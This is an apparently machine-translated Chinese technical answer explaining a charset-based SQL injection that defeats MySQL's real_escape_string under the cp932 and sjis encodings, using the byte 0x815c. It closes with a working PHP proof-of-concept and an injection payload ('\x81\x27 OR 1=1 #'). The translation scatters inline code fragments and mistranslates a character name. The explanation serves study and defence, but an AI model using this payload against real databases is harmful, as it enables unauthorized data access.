魔鬼在细节中...让我们从有问题的答案如何描述易受攻击的字符集列表开始:
为了使这种攻击起作用,我们需要服务器期望在连接上编码的编码,就像在ASCII中一样编码,即 并有一些字符,其最终字节是ASCII\
,即0x5c
。事实证明,默认情况下,MySQL 5.6中支持5种这样的编码:,,,和。我们将在此处选择 gbk
。'
0x27
big5
cp932
gb2312
gbk
sjis
这给了我们一些上下文 - 用作 的示例,而不是用作所有 5 个字符集的通用字符。
碰巧的是,相同的字节序列也是 和 下的有效字符。0xbf5c
gbk
big5
gb2312
在这一点上,你的问题变得像这样简单:
哪个字节序列是 和 下的有效字符,并以 ?cp932
sjis
0x5c
公平地说,我尝试的大多数谷歌搜索这些字符集都没有给出任何有用的结果。但是我确实找到了这个CP932.TXT文件,如果您在其中搜索(那里有空格),您将跳转到以下行:'5c '
0x815C 0x2015 #HORIZONTAL酒吧
我们有一个赢家!:)
一些Oracle文档确认这是两者的相同字符,并且PHP也可以识别它:0x815c
cp932
sjis
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
以下是攻击的 PoC 脚本:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}